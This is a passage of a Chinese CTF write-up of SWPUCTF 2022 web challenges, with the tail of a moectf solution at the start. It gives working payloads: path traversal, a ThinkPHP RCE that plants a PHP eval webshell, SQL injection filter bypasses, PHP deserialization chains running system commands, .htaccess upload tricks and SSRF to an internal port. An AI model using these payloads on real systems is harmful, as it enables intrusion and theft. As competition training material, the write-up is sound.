            [0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0],
            [0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1],
            [0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0],
            [0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0],
            [1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1],
            [0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1],
            [0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1],
            [0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0],
            [0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0],
            [0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0],
            [0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0],
            [0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0],
            [0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1],
            [0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1],
            [1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1],
            [0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0],
            [0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0],
            [0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1],
            [0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1],
            [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0],
            [0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1],
            [0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
            [0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1],
            [0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0],
            [0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0],
            [1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1],
            [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1],
            [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1],
            [0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1],
            [0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1],
            [0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1],
            [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0],
            [0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1],
            [1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1],
            [0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1],
            [0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0],
            [0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1],
            [0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0],
            [0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0],
            [0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0],
            [0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1],
            [0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0],
            [0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1],
            [0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1],
            [0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0],
            [0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1],
            [0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0],
            [0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0],
            [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0],
            [0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1],
            [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
            [0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0],
            [0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1]]
​
msg = decode(noisemsg)
print(msg)  # Well done
# b'Once upon a time, there were 1023 identical bottles, 1022 of which were plain water and one of which was poison. Any creature that drinks the poison will die within a week. Now, with 10 mice and a week, how do you tell which bottle has poison in it? moectf{Oh_Bin4ry_Mag1c_1s_s0o_c0O1!} Great!'
```


# SWPUCTF 2022

## Web

### numgame

进入页面后是个文字游戏，题目为 `10+10=?` ，但是无论如何加减都不能改到 `20` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FKTZHblIR7OrjMEjwAF19%2Fnumgame-1.png?alt=media&amp;token=e1623c20-08fd-4081-8a1c-ff333614426f" alt=""><figcaption></figcaption></figure>

因此开始尝试 `F12` 打开开发者工具，但是不起作用，发现右键也被禁用了。下一步直接一把梭把 JavaScript 禁用了，禁用之后打开开发者工具，可以发现 `/js/1.js` ，其内容如下

```js
var input = $('input'),
    input_val = parseInt(input.val()),
    btn_add = $('.add'),
    btn_remove = $('.remove');

input.keyup(function() {
    input_val = parseInt(input.val())
});

btn_add.click(function(e) {
    input_val++;
    input.val(input_val);
    console.log(input_val);
    if(input_val==18){
        input_val=-20;
        input.val(-20);

    }
});

btn_remove.click(function(e) {
    input_val--;
    input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}
```

对 `TnNTY1RmLnBocA==` 进行 Base64 解码可以得到 `NsScTf.php` ，访问 `NsScTf.php` 可以得到以下内容

```php
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
}
```

通过提示可得知应该使用 `POST` 请求协议，由于 nss 类内函数 ctf 为静态函数，可以直接通过 `nss::ctf` 来调用。通过访问 `/hint2.php` 可以得知类名为 `nss2` ，因此通过构造 payload `p=nss2::ctf` 就可以得到 flag 了。

### ez\_ez\_php

```php
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php
```

Payload 如下

```
file=php/../flag.php
```

回显如下

```
Nice!!!NSSCTF{flag_is_not_here}
real_flag_is_in_'flag'
```

最终 Payload 如下

```
file=php/../flag
```

### ez\_ez\_php(revenge)

```php
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php
```

Payload 如下

```
file=php/../../../../../../flag
```

### ez\_rce

先来一波 Dirsearch

```bash
$ python dirsearch.py -u http://node1.anna.nssctf.cn:28559/
[20:22:00] 200 -   35B  - /.gitignore
[20:30:31] 200 -   18KB - /composer.lock
[20:30:31] 200 -  942B  - /composer.json
[20:39:07] 200 -   46B  - /robots.txt
[20:42:03] 200 -    0B  - /vendor/autoload.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_classmap.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_files.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_real.php
[20:42:04] 200 -    0B  - /vendor/composer/ClassLoader.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_static.php
[20:42:04] 200 -   16KB - /vendor/composer/installed.json
[20:42:04] 200 -    1KB - /vendor/composer/LICENSE
[20:42:04] 200 -    0B  - /vendor/composer/autoload_psr4.php
```

`robots.txt` 内容如下

```
User-agent: *
Disallow:
  -  /NSS/index.php/
```

访问 `/NSS/index.php` 可以得到提示 `ThinkPHP` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FyPhPoiyPCRTsxSumuXRB%2Fez_rce-1.png?alt=media&amp;token=7f8ff5eb-8b5d-403d-91b0-637a3cde82b4" alt="" width="307"><figcaption></figcaption></figure>

通过 `ThinkPHP-Scan` 扫描一下。

```bash
$ python thinkphp_scan.py -url http://node1.anna.nssctf.cn:28559/NSS/index.php
[Info] > thinkphp_invoke_func_code_exec True
```

构造 Payload 如下以来传入 Shell

```
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[1]);?>
```

通过蚁剑连接

```
http://node1.anna.nssctf.cn:28559/NSS/shell.php
```

连接后发现根目录的 `/flag` 是空的，发现 `nss` 文件夹，最后发现 flag 在 `/nss/ctf/flag/flag` 。

### 奇妙的MD5

在 Header 头可以看到 Hint 。

```
select * from 'admin' where password=md5($pass,true)
```

可以通过 `ffifdyop` 进行绕过，原因是 `ffifdyop` 经过 md5 加密后变成 `276f722736c95d99e921722cf9ed621c` ，再转换成字符串则变为 `'or'6É]é!r,ùíb` 使得以上 SQL 语句变成了如下样子。

```
select * from 'admin' where password=''or'6É]é!r,ùíb'
```

跳转后，得到源代码如下

```html
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;
-->
```

Payload 如下

```
x[]=1&y[]=2
```

可以得到以下代码

```php
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
}
```

Payload 如下

```
wqh[]=1&dsy[]=2
```

就可以得到 flag 了。

### where\_am\_i

问题：什么东西是11位啊？

那就是需要找图上这个地方的电话号码。

<http://www1.zmjd100.com/hotel/pc/1283140?checkIn=2023-07-26\\&checkOut=2023-07-27>

02886112888

### 1z\_unserialize

```php
<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;
        $a($this->lly);
     }
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 
```

构造序列化

```php
<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;
        $a($this->lly);
     }
}
$a = new lyh();
$a->lt = 'system';
$a->lly = 'ls /';
echo serialize($a);
// O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}
?> 
```

构造 Payload 如下

```
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}
```

回显如下

```
bin boot dev etc flag home lib lib64 media mnt opt proc root run run.sh sbin srv sys tmp usr var
```

构造 Payload 如下

```
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
```

回显就是 flag 。

### ez\_ez\_unserialize

```php
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}
```

这题需要 `__wakeup()` 魔术方法绕过，先构造序列化。

```php
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}

$a = new X('./fllllllag.php');
echo serialize($a);
//O:1:"X":1:{s:1:"x";s:15:"./fllllllag.php";}
```

把对象属性个数修改一下绕过 `__wakeup()` 即可，构造 Payload 如下

```
x=O:1:"X":2:{s:1:"x";s:15:"./fllllllag.php";}
```

flag 就出来了。

### xff

Payload 如下

```
Referer: 127.0.0.1
X-Forwarded-For: 127.0.0.1
```

### js\_sign

```js
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})
```

`dGFwY29kZQ==` 解码得到 `tapcode`

<http://www.hiencode.com/tapcode.html>

即可得到 flag 。

### ez\_sql

先探索下看看哪些被过滤了（

```
union, <空格>, and, or
```

构造 Payload 如下

```
nss=-1'/**/oorrder/**/by/**/1%23
nss=-1'/**/oorrder/**/by/**/2%23
nss=-1'/**/oorrder/**/by/**/3%23
nss=-1'/**/oorrder/**/by/**/4%23 # Unknown column '4' in 'order clause'
```

可以推断出字段有 3 行。

构造 Payload 如下

```
nss=2'/**/uniunionon/**/select/**/1,2,3%23 # 回显 2, 3
nss=2'/**/uniunionon/**/select/**/1,(database()),3%23 # 回显数据库名 NSS_db
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'),3%23 # 回显表名 NSS_tb, users
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema='NSS_db'),3%23 # 回显字段名 id, Secr3t, flll444g, id, username, password
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(flll444g)/**/from/**/NSS_tb),3%23 # 回显假flag(可恶啊)
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(Secr3t)/**/from/**/NSS_tb),3%23 # 回显真 flag
```

### webdog1\_\_start

查看源代码如下

```html
<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->
```

看来是 md5 弱比较，构造 Payload 如下即可绕过。

```
web=0e215962017
```

查看 Header 头可以发现 Hint 如下

```
why not go to f14g.php first
```

然后又根据 Header 头发现 Hint

```
oh good job! but no flag ,come to F1l1l1l1l1lag.php
```

```php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        if (strlen($get)>18){
            die("This is too long.");
        }else{
            eval($get);
        } 
    }else {
        die("nonono"); 
    }
}
```

使用蚁剑通过

```
http://node2.anna.nssctf.cn:28412/F1l1l1l1l1lag.php?get=eval($_POST[1]);
```

连接一把梭就可以获得 flag 了。

### funny\_php

```php
<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?>
```

* L1 - 通过科学计数法即可绕过，例如 `1e9` 。
* L2 - 双写即可绕过，即 `NSNSSCTFSCTF` 。
* L3 - MD5 强比较，通过 `s878926199a` 和 `s155964671a` 即可绕过。

Payload 如下

```
Param: num=1e9&str=NSNSSCTFSCTF
Body: md5_1=s878926199a&md5_2=s155964671a
```

### ez\_1zpop

```php
<?php
error_reporting(0);
class dxg {
   function fmm() {
      return "nonono";
   }
}

class lt {
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct() {
      $this->impo = new dxg;
   }
   function __wakeup() {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }
   function __toString() {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct() {
      echo $this;
   }
}

class fin {
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm() {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}
```

链子如下

```
lt(__construct())->lt(__destruct())->lt(__toString())->fin(fmm())
```

构造序列化如下

```php
<?php
class dxg {
   function fmm() {
      return "nonono";
   }
}

class lt {
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct() {
      $this->impo = new dxg;
   }
   function __wakeup() {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }
   function __toString() {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct() {
      echo $this;
   }
}

class fin {
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm() {
      $b = $this->a;
      $b($this->title);
   }
}

$a = new lt();
$a->md51 = 's878926199a';
$a->md52 = 's155964671a';
$b = new fin();
$b->a = 'system';
$b->title = 'cat /flag';
$a->impo = $b;
echo serialize($a);
// O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}
```

MD5 强比较，通过 `s878926199a` 和 `s155964671a` 即可绕过，把对象属性个数修改一下即可绕过 `__wakeup()` ，构造 Payload 如下（跳过 ls /）

```
NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}
```

就可以得到 flag 了。

### funny\_web

```php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
}
```

构造 Payload 如下

```
num=12345e
```

### Ez\_upload

```http
POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryftTL5sWdr7SOXwI9
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST[1]); ?>
------WebKitFormBoundaryftTL5sWdr7SOXwI9
```

回显 `后缀名不能有ph!` ，尝试改成其他名称，换成 `.jpg` 回显 `还是换个其他类型吧` 。

先上传 `.htaccess`

```http
POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryvAZiFGDxBICE1vwS
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

<FilesMatch "jpg">
setHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryvAZiFGDxBICE1vwS
```

回显 `/var/www/html/upload/5aca69d12f41e6e7c397787dcb501ac3/.htaccess succesfully uploaded!` ，之后上传图片马

```http
POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryvAZiFGDxBICE1vwS
Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
Content-Type: image/jpeg

<script language="php">eval($_POST[1]);</script>
------WebKitFormBoundaryvAZiFGDxBICE1vwS
```

回显 `/var/www/html/upload/5aca69d12f41e6e7c397787dcb501ac3/1.jpg succesfully uploaded!` ，用蚁剑一把梭发现 flag 根本不在根目录。

```http
POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryvAZiFGDxBICE1vwS
Content-Disposition: form-data; name="uploaded"; filename="2.jpg"
Content-Type: image/jpeg

<script language="php">phpinfo();</script>
------WebKitFormBoundaryvAZiFGDxBICE1vwS
```

flag 就在 `phpinfo()` 里面。

### file\_master

图片必须是 `.jpg` 且规格最大不超过 `20*20` 。

`index.php` 源码如下

```php
<?php
    session_start();
    if(isset($_GET['filename'])){
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
                if($img_info[0]<=20 && $img_info[1]<=20){
                    if(!is_dir("upload/".session_id())){
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
                    die("image hight and width must less than 20");
                }
            }else{
                die("invalid file head");
            }
        }else{
            die("invalid file type!image/jpeg only!!");
        }
    }else{
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>
```

上传图片马，并修改后缀为 `.php` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F9SuM1z5R1kiWWHxroZOR%2Ffile_master-1.png?alt=media&amp;token=53a08f49-08de-49c4-9118-e1adb95fe793" alt=""><figcaption></figcaption></figure>

通过访问

```
http://node1.anna.nssctf.cn:28157/upload/9b19628b659a4d6b0c83a8eed31c80c4/1234.php
```

可以得到目录

```
bin boot dev etc flag flag.sh home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var
```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FQ8LBIE2725JYTepuv74n%2Ffile_master-2.png?alt=media&amp;token=d17c3e2f-d41e-474a-9865-4277e880226c" alt=""><figcaption></figcaption></figure>

通过访问

```
http://node1.anna.nssctf.cn:28157/upload/9b19628b659a4d6b0c83a8eed31c80c4/1234.php
```

可以得到 flag 。

### Power!

源代码存在提示如下

```html
<!-- ?source= -->
```

构造 Payload 如下

```
source=index.php
```

可以得到 `index.php` 的源代码

```php
<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>
```

构造 Payload 如下

```
image_path=flag.php
```

可以得到 `flag.php` 的源码如下

```php
<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>
```

因此需要通过 curl 方法来从内网获取到 flag，链子如下

```
Backdoor::__destruct()->FileViewer::__call()->FileViewer::loadfile()->FileViewer::curl()
```

构造序列化如下

```php
<?php
class FileViewer{
  public $black_list = "flag";
  public $local = "http://127.0.0.1/";
  public $path;
  public function __call($f,$a){
    $this->loadfile();
  }
  public function loadfile(){
    if(!is_array($this->path)){
      if(preg_match("/".$this->black_list."/i",$this->path)){
        $file = $this->curl($this->local."cheems.jpg");
      }else{
        $file = $this->curl($this->local.$this->path);
      }
    }else{
      $file = $this->curl($this->local."cheems.jpg");
    }
    echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
  }
  public function curl($path){
    $url = $path;
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
  }
  public function __wakeup(){
    $this->local = "http://127.0.0.1/";
  }
}
class Backdoor{
  public $a;
  public $b;
  public $superhacker = "hacker.jpg";
  public function goodman($i,$j){
    $i->$j = $this->superhacker; // $fv->local = 'http://127.0.0.1:65500/'
  }
  public function __destruct(){
    $this->goodman($this->a,$this->b);
    $this->a->c(); // $fv::__call()
  }
}
if(isset($_GET['source'])){
  highlight_file(__FILE__);
}else{
  if(isset($_GET['image_path'])){
    $path = $_GET['image_path'];    //flag in /flag.php
    if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
      echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
    }else{
      echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
    }

  }else if(isset($_GET['path_info'])){
    $path_info = $_GET['path_info'];
    $FV = unserialize(base64_decode($path_info));
    $FV->loadfile();
  }else{
    $path = "vergil.jpg";
    echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
  }
}

$bd = new Backdoor();
$fv = new FileViewer();
$fv->path = 'flag.php';
$fv->black_list = 'k1s4ra';
$bd->superhacker = 'http://127.0.0.1:65500/';
$bd->a = $fv;
$bd->b = 'local';
echo serialize($bd);
// O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:6:"k1s4ra";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:23:"http://127.0.0.1:65500/";}
```

需要绕过 `__wakeup()` 魔术方法，所以需要修改对象属性个数，序列化变为

```
O:8:"Backdoor":4:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:6:"k1s4ra";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:23:"http://127.0.0.1:65500/";}
```

再进行 base64 编码就得到最后的 Payload 如下

```
Tzo4OiJCYWNrZG9vciI6NDp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtzOjY6ImsxczRyYSI7czo1OiJsb2NhbCI7czoxNzoiaHR0cDovLzEyNy4wLjAuMS8iO3M6NDoicGF0aCI7czo4OiJmbGFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MjM6Imh0dHA6Ly8xMjcuMC4wLjE6NjU1MDAvIjt9
```

得到回显如下
